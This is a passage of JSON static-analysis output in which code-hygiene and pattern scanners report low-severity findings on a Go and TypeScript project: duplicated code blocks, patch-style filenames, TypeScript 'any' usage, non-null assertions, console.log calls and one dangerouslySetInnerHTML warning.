"level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113232, "scanner": "repobility-ai-code-hygiene", "fingerprint": "3a633c4f40ea52931a72bec155b67168f2f829623e3a811768ce402ff137de40", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/daemon/keygen.go", "duplicate_line": 64, "correlation_key": "fp|3a633c4f40ea52931a72bec155b67168f2f829623e3a811768ce402ff137de40"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/relay/client.go"}, "region": {"startLine": 82}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113231, "scanner": "repobility-ai-code-hygiene", "fingerprint": "dde59fb230860015f616e42e87d576259d30930b79d0ef8d90cc7a602c516b9f", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/notify/telegram/pairing.go", "duplicate_line": 218, "correlation_key": "fp|dde59fb230860015f616e42e87d576259d30930b79d0ef8d90cc7a602c516b9f"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/notify/telegram/polling.go"}, "region": {"startLine": 144}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113230, "scanner": "repobility-ai-code-hygiene", "fingerprint": "f4b80393b6147e92715b6e3e166dafd4295d6a49e6b877187d6170ca50729a92", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "cmd/clawvisor-local/main.go", "duplicate_line": 619, "correlation_key": "fp|f4b80393b6147e92715b6e3e166dafd4295d6a49e6b877187d6170ca50729a92"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/local/daemon/daemon.go"}, "region": {"startLine": 381}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113229, "scanner": "repobility-ai-code-hygiene", "fingerprint": "4e2127a636b0dae460a06c72fa7689462638ed35358d0c54a903fc216ad394df", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/e2e/lite/library/clarification_then_task/workspace/src/foo.go", "duplicate_line": 1, "correlation_key": "fp|4e2127a636b0dae460a06c72fa7689462638ed35358d0c54a903fc216ad394df"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/library/pivot_mid_execution/workspace/src/foo.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113228, "scanner": "repobility-ai-code-hygiene", "fingerprint": "dbb2efe7a133f42acdb44a6379baea4ff748e3132466f2debdf1d240f77e9af5", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/e2e/lite/drivers/claude.go", "duplicate_line": 104, "correlation_key": "fp|dbb2efe7a133f42acdb44a6379baea4ff748e3132466f2debdf1d240f77e9af5"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/e2e/lite/drivers/codex.go"}, "region": {"startLine": 66}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113227, "scanner": "repobility-ai-code-hygiene", "fingerprint": "0f73f91f964951fd47749e4dcc81d3219f063abc8f4d6c72a4be8613d97f0da5", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/api/handlers/adaptergen.go", "duplicate_line": 50, "correlation_key": "fp|0f73f91f964951fd47749e4dcc81d3219f063abc8f4d6c72a4be8613d97f0da5"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/callback/callback.go"}, "region": {"startLine": 76}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113226, "scanner": "repobility-ai-code-hygiene", "fingerprint": "346872e9b6bd0ffc327234acd577d308b75ea309317e2c5d7f7bb9833916a1cc", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/api/handlers/overview.go", "duplicate_line": 17, "correlation_key": "fp|346872e9b6bd0ffc327234acd577d308b75ea309317e2c5d7f7bb9833916a1cc"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/queue.go"}, "region": {"startLine": 36}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113225, "scanner": "repobility-ai-code-hygiene", "fingerprint": "a2e0cab31e7b93c3a080343a1d8d4152a15126efa4689dd80fa0e5e048db7973", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/api/handlers/mobileconfig.go", "duplicate_line": 84, "correlation_key": "fp|a2e0cab31e7b93c3a080343a1d8d4152a15126efa4689dd80fa0e5e048db7973"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/api/handlers/onboarding.go"}, "region": {"startLine": 136}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113224, "scanner": "repobility-ai-code-hygiene", "fingerprint": "ac155a8124048f56404b70b2a728fd200895486d0dca09bc7e3d2776b8c73659", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/dropbox/adapter.go", "duplicate_line": 214, "correlation_key": "fp|ac155a8124048f56404b70b2a728fd200895486d0dca09bc7e3d2776b8c73659"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/perplexity/adapter.go"}, "region": {"startLine": 97}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113223, "scanner": "repobility-ai-code-hygiene", "fingerprint": "1fe291880ffdbd872f49ec60bc1cb34915c7a105ed4948069fc63f7058a0ae8d", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/microsoft/onedrive/adapter.go", "duplicate_line": 13, "correlation_key": "fp|1fe291880ffdbd872f49ec60bc1cb34915c7a105ed4948069fc63f7058a0ae8d"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/microsoft/teams/adapter.go"}, "region": {"startLine": 7}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113222, "scanner": "repobility-ai-code-hygiene", "fingerprint": "b8ec411e107d5e6166e1cedbed21fad367face8aeda74a04c7427aa4f9bcd46a", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/microsoft/onedrive/adapter.go", "duplicate_line": 12, "correlation_key": "fp|b8ec411e107d5e6166e1cedbed21fad367face8aeda74a04c7427aa4f9bcd46a"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/microsoft/outlook/adapter.go"}, "region": {"startLine": 7}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113221, "scanner": "repobility-ai-code-hygiene", "fingerprint": "d228f5ebde330d9288bbc311c25dddd20876874fc11f9dcb5b16d71b180d842a", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/google/sheets/actions.go", "duplicate_line": 363, "correlation_key": "fp|d228f5ebde330d9288bbc311c25dddd20876874fc11f9dcb5b16d71b180d842a"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/microsoft/credential.go"}, "region": {"startLine": 130}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113220, "scanner": "repobility-ai-code-hygiene", "fingerprint": "f4e3e382666d92e25a6ea5941a299c8afc11a82467966c84d7e1b31c2ceff945", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "cmd/imessage-helper/main.go", "duplicate_line": 749, "correlation_key": "fp|f4e3e382666d92e25a6ea5941a299c8afc11a82467966c84d7e1b31c2ceff945"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/google/drive/adapter.go"}, "region": {"startLine": 507}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113219, "scanner": "repobility-ai-code-hygiene", "fingerprint": "2049f78bcb69ab969d230dda6548632399fe72e9f68605ff992c28da122e5417", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/google/contacts/adapter.go", "duplicate_line": 302, "correlation_key": "fp|2049f78bcb69ab969d230dda6548632399fe72e9f68605ff992c28da122e5417"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/google/drive/adapter.go"}, "region": {"startLine": 497}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113218, "scanner": "repobility-ai-code-hygiene", "fingerprint": "d8e3bbaf0d20f279eceeb701409d0817da1734c1a92c77e242cbd46fc5cbb41a", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/google/calendar/adapter.go", "duplicate_line": 403, "correlation_key": "fp|d8e3bbaf0d20f279eceeb701409d0817da1734c1a92c77e242cbd46fc5cbb41a"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/google/drive/adapter.go"}, "region": {"startLine": 491}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113217, "scanner": "repobility-ai-code-hygiene", "fingerprint": "dc1c7c5748003dffce882af0fcfe690b11e01f58391311052744ae0f58b47b06", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "cmd/imessage-helper/main.go", "duplicate_line": 749, "correlation_key": "fp|dc1c7c5748003dffce882af0fcfe690b11e01f58391311052744ae0f58b47b06"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/google/contacts/adapter.go"}, "region": {"startLine": 312}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113216, "scanner": "repobility-ai-code-hygiene", "fingerprint": "aab8d3b864d4f059d3fa285b1a97fc26678efe066317165a6e3ec90d943db8e4", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "internal/adapters/google/calendar/adapter.go", "duplicate_line": 403, "correlation_key": "fp|aab8d3b864d4f059d3fa285b1a97fc26678efe066317165a6e3ec90d943db8e4"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/google/contacts/adapter.go"}, "region": {"startLine": 296}}}]}, {"ruleId": "AIC003", "level": "note", "message": {"text": "Duplicated implementation block across source files"}, "properties": {"repobilityId": 113215, "scanner": "repobility-ai-code-hygiene", "fingerprint": "7c3b76b13a200a8cbacdad6d662770113acfb1e5cf2fe71af09ff90fdc05c7a8", "category": "quality", "severity": "low", "confidence": 0.86, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "A normalized source-code window appears in two different non-test files.", "evidence": {"lines": 12, "rule_id": "AIC003", "scanner": "repobility-ai-code-hygiene", "references": ["https://jscpd.dev/"], "duplicate_file": "cmd/imessage-helper/main.go", "duplicate_line": 749, "correlation_key": "fp|7c3b76b13a200a8cbacdad6d662770113acfb1e5cf2fe71af09ff90fdc05c7a8"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/adapters/google/calendar/adapter.go"}, "region": {"startLine": 443}}}]}, {"ruleId": "AIC002", "level": "note", "message": {"text": "Source file name looks like an AI patch artifact"}, "properties": {"repobilityId": 113212, "scanner": "repobility-ai-code-hygiene", "fingerprint": "f74d2c689250cfac0361df8e79a7c17cfbc29a7e7cde66f8805bbea7f6f05192", "category": "quality", "severity": "low", "confidence": 0.62, "triageState": "open", "verdict": "needs_review", "isResolved": false, "reason": "Source filename contains a temporary or patch-style suffix.", "evidence": {"suffix": "rewrite", "rule_id": "AIC002", "scanner": "repobility-ai-code-hygiene", "references": ["https://arxiv.org/abs/2601.15195"], "correlation_key": "fp|f74d2c689250cfac0361df8e79a7c17cfbc29a7e7cde66f8805bbea7f6f05192"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/inline_task_rewrite.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "AIC002", "level": "note", "message": {"text": "Source file name looks like an AI patch artifact"}, "properties": {"repobilityId": 113211, "scanner": "repobility-ai-code-hygiene", "fingerprint": "0656c47c5b34459c7f188535dafd87e5b1dacde8edeea273d38d257c4a84833f", "category": "quality", "severity": "low", "confidence": 0.62, "triageState": "open", "verdict": "needs_review", "isResolved": false, "reason": "Source filename contains a temporary or patch-style suffix.", "evidence": {"suffix": "update", "rule_id": "AIC002", "scanner": "repobility-ai-code-hygiene", "references": ["https://arxiv.org/abs/2601.15195"], "correlation_key": "fp|0656c47c5b34459c7f188535dafd87e5b1dacde8edeea273d38d257c4a84833f"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/daemon/auto_update.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "AIC002", "level": "note", "message": {"text": "Source file name looks like an AI patch artifact"}, "properties": {"repobilityId": 113210, "scanner": "repobility-ai-code-hygiene", "fingerprint": "e8f5f9f2f76b7eeb86e47113e6cbcdf9a6be4b4d55602fb0289558fd75159feb", "category": "quality", "severity": "low", "confidence": 0.62, "triageState": "open", "verdict": "needs_review", "isResolved": false, "reason": "Source filename contains a temporary or patch-style suffix.", "evidence": {"suffix": "update", "rule_id": "AIC002", "scanner": "repobility-ai-code-hygiene", "references": ["https://arxiv.org/abs/2601.15195"], "correlation_key": "fp|e8f5f9f2f76b7eeb86e47113e6cbcdf9a6be4b4d55602fb0289558fd75159feb"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_auto_update.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "AIC002", "level": "note", "message": {"text": "Source file name looks like an AI patch artifact"}, "properties": {"repobilityId": 113209, "scanner": "repobility-ai-code-hygiene", "fingerprint": "5431a856e31b73eb8f3e8fdbcbabcf7ebf98324f56571464f226d0a928e9cd32", "category": "quality", "severity": "low", "confidence": 0.62, "triageState": "open", "verdict": "needs_review", "isResolved": false, "reason": "Source filename contains a temporary or patch-style suffix.", "evidence": {"suffix": "update", "rule_id": "AIC002", "scanner": "repobility-ai-code-hygiene", "references": ["https://arxiv.org/abs/2601.15195"], "correlation_key": "fp|5431a856e31b73eb8f3e8fdbcbabcf7ebf98324f56571464f226d0a928e9cd32"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/clawvisorcli/cmd_update.go"}, "region": {"startLine": 1}}}]}, {"ruleId": "MINED054", "level": "none", "message": {"text": "[MINED054] Ts As Any: Casting to any (as any) bypasses type checking entirely."}, "properties": {"repobilityId": 113395, "scanner": "repobility-threat-engine", "fingerprint": "54dab07a4cc65a1ef78e28179e913f1bcc0f05b58d75d35fc95473d03ac4f7c7", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "ts-as-any", "owasp": null, "cwe_ids": ["CWE-704"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348028+00:00", "triaged_in_corpus": 12, "observations_count": 341218, "ai_coder_pattern_id": 98}, "scanner": "repobility-threat-engine", "correlation_key": "fp|54dab07a4cc65a1ef78e28179e913f1bcc0f05b58d75d35fc95473d03ac4f7c7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/TOTPVerify.tsx"}, "region": {"startLine": 10}}}]}, {"ruleId": "MINED054", "level": "none", "message": {"text": "[MINED054] Ts As Any: Casting to any (as any) bypasses type checking entirely."}, "properties": {"repobilityId": 113394, "scanner": "repobility-threat-engine", "fingerprint": "fec612909cd5b6f3806efac0ec7fb13ef91536778ecef9e7b75712a84372221f", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "ts-as-any", "owasp": null, "cwe_ids": ["CWE-704"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348028+00:00", "triaged_in_corpus": 12, "observations_count": 341218, "ai_coder_pattern_id": 98}, "scanner": "repobility-threat-engine", "correlation_key": "fp|fec612909cd5b6f3806efac0ec7fb13ef91536778ecef9e7b75712a84372221f"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/SetupAuth.tsx"}, "region": {"startLine": 13}}}]}, {"ruleId": "MINED052", "level": "none", "message": {"text": "[MINED052] Ts Any Typed (and 4 more): Same pattern found in 4 additional files. Review if needed."}, "properties": {"repobilityId": 113393, "scanner": "repobility-threat-engine", "fingerprint": "dc495931fe10ccd594ead31c7c77f06bc2fd305548c052c38b6f9feadb646876", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 4 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"mined": true, "mining": {"slug": "ts-any-typed", "owasp": null, "cwe_ids": ["CWE-704"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348022+00:00", "triaged_in_corpus": 12, "observations_count": 496002, "ai_coder_pattern_id": 97}, "scanner": "repobility-threat-engine", "aggregated": true, "correlation_key": "fp|dc495931fe10ccd594ead31c7c77f06bc2fd305548c052c38b6f9feadb646876", "aggregated_count": 4}}}, {"ruleId": "MINED052", "level": "none", "message": {"text": "[MINED052] Ts Any Typed: : any used as type annotation. Defeats TypeScript type safety."}, "properties": {"repobilityId": 113392, "scanner": "repobility-threat-engine", "fingerprint": "e8bf824238c6f43d8ede1f6a2a5d720e62a0db8bb48f608ecfece7f2b45908b1", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "ts-any-typed", "owasp": null, "cwe_ids": ["CWE-704"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348022+00:00", "triaged_in_corpus": 12, "observations_count": 496002, "ai_coder_pattern_id": 97}, "scanner": "repobility-threat-engine", "correlation_key": "fp|e8bf824238c6f43d8ede1f6a2a5d720e62a0db8bb48f608ecfece7f2b45908b1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/MFAVerify.tsx"}, "region": {"startLine": 42}}}]}, {"ruleId": "MINED052", "level": "none", "message": {"text": "[MINED052] Ts Any Typed: : any used as type annotation. Defeats TypeScript type safety."}, "properties": {"repobilityId": 113391, "scanner": "repobility-threat-engine", "fingerprint": "321ad2e891fc1747b77ecfd484faecec7f25d2090ebb25a7f8a399d2ca130a38", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "ts-any-typed", "owasp": null, "cwe_ids": ["CWE-704"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348022+00:00", "triaged_in_corpus": 12, "observations_count": 496002, "ai_coder_pattern_id": 97}, "scanner": "repobility-threat-engine", "correlation_key": "fp|321ad2e891fc1747b77ecfd484faecec7f25d2090ebb25a7f8a399d2ca130a38"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Login.tsx"}, "region": {"startLine": 31}}}]}, {"ruleId": "MINED052", "level": "none", "message": {"text": "[MINED052] Ts Any Typed: : any used as type annotation. Defeats TypeScript type safety."}, "properties": {"repobilityId": 113390, "scanner": "repobility-threat-engine", "fingerprint": "4deb456a3fb5da23320eca92bda8cdb5d18bbb2a4c8cc64fc4ce3c5933c0f698", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "ts-any-typed", "owasp": null, "cwe_ids": ["CWE-704"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348022+00:00", "triaged_in_corpus": 12, "observations_count": 496002, "ai_coder_pattern_id": 97}, "scanner": "repobility-threat-engine", "correlation_key": "fp|4deb456a3fb5da23320eca92bda8cdb5d18bbb2a4c8cc64fc4ce3c5933c0f698"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/ForgotPassword.tsx"}, "region": {"startLine": 18}}}]}, {"ruleId": "MINED045", "level": "none", "message": {"text": "[MINED045] Ts Non Null Assertion: x! asserts not null - bypasses null checks - TypeError if wrong."}, "properties": {"repobilityId": 113389, "scanner": "repobility-threat-engine", "fingerprint": "22b055e066d6022a1a2eb40f4a55ecb0c60554de64ed2ab5f14cb2ac18de0cc8", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "ts-non-null-assertion", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["typescript", "tsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348005+00:00", "triaged_in_corpus": 12, "observations_count": 1810954, "ai_coder_pattern_id": 105}, "scanner": "repobility-threat-engine", "correlation_key": "fp|22b055e066d6022a1a2eb40f4a55ecb0c60554de64ed2ab5f14cb2ac18de0cc8"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Billing.tsx"}, "region": {"startLine": 55}}}]}, {"ruleId": "MINED058", "level": "none", "message": {"text": "[MINED058] React Dangerously Set Html: dangerouslySetInnerHTML bypasses Reacts JSX escaping. Pair with DOMPurify or never use with user data."}, "properties": {"repobilityId": 113385, "scanner": "repobility-threat-engine", "fingerprint": "58eeef694c084fa9d25c12ef22a2950d5228ef0360ead5304e2ea6588d209cd3", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "react-dangerously-set-html", "owasp": "A03:2021", "cwe_ids": ["CWE-79"], "languages": ["javascript", "typescript"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348037+00:00", "triaged_in_corpus": 12, "observations_count": 255650, "ai_coder_pattern_id": 49}, "scanner": "repobility-threat-engine", "correlation_key": "fp|58eeef694c084fa9d25c12ef22a2950d5228ef0360ead5304e2ea6588d209cd3"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/components/ServiceIcon.tsx"}, "region": {"startLine": 38}}}]}, {"ruleId": "MINED044", "level": "none", "message": {"text": "[MINED044] Js Console Log Prod (and 2 more): Same pattern found in 2 additional files. Review if needed."}, "properties": {"repobilityId": 113384, "scanner": "repobility-threat-engine", "fingerprint": "f5f0ee0407b51d0ac20b895b10fb0fb2d25d496c71c3de2200e03e778c4fe3f2", "category": "quality", "severity": "info", "confidence": 0.2, "triageState": "false_positive", "verdict": "likely_fp", "isResolved": true, "reason": "Deduplicated summary only: 2 additional occurrences found. The top occurrences remain visible as actionable findings.", "evidence": {"mined": true, "mining": {"slug": "js-console-log-prod", "owasp": null, "cwe_ids": ["CWE-532"], "languages": ["javascript", "typescript", "tsx", "jsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348003+00:00", "triaged_in_corpus": 10, "observations_count": 1940833, "ai_coder_pattern_id": 102}, "scanner": "repobility-threat-engine", "aggregated": true, "correlation_key": "fp|f5f0ee0407b51d0ac20b895b10fb0fb2d25d496c71c3de2200e03e778c4fe3f2", "aggregated_count": 2}}}, {"ruleId": "MINED044", "level": "none", "message": {"text": "[MINED044] Js Console Log Prod: console.log left in code. Should be replaced with logger or removed."}, "properties": {"repobilityId": 113383, "scanner": "repobility-threat-engine", "fingerprint": "d480aa1af55ae9f156cc3368c745aab6d7f1643ba0584e2cd725a5209507a6d1", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "js-console-log-prod", "owasp": null, "cwe_ids": ["CWE-532"], "languages": ["javascript", "typescript", "tsx", "jsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348003+00:00", "triaged_in_corpus": 10, "observations_count": 1940833, "ai_coder_pattern_id": 102}, "scanner": "repobility-threat-engine", "correlation_key": "fp|d480aa1af55ae9f156cc3368c745aab6d7f1643ba0584e2cd725a5209507a6d1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/hooks/useAuth.tsx"}, "region": {"startLine": 55}}}]}, {"ruleId": "MINED044", "level": "none", "message": {"text": "[MINED044] Js Console Log Prod: console.log left in code. Should be replaced with logger or removed."}, "properties": {"repobilityId": 113382, "scanner": "repobility-threat-engine", "fingerprint": "a5c522fd950d38cbf2953003f00eb81e12805842125275ce13c2a17f38c8c6ec", "category": "quality", "severity": "info", "confidence": 1.0, "triageState": "open", "verdict": "confirmed", "isResolved": false, "reason": "Pattern matched with no mitigating context found", "evidence": {"mined": true, "mining": {"slug": "js-console-log-prod", "owasp": null, "cwe_ids": ["CWE-532"], "languages": ["javascript", "typescript", "tsx", "jsx"], "precision": 1.0, "promoted_at": "2026-05-18T14:01:32.348003+00:00", "triaged_in_corpus": 10, "observations_count": 1940833, "ai_coder_pattern_id": 102}, "scanner": "repobility-threat-engine", "correlation_key": "fp|a5c522fd950d38cbf2953003f00eb81e12805842125275ce13c2a17f38c8c6ec"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/App.tsx"}, "region": {"startLine": 33}}}]}, {"ruleId": "MINED044", "level": "none", "message": {"text": "[MINED044] Js Console Log Prod: console.log left in code. Should be replaced with logger or removed."}, "properties": {"repobilityId": 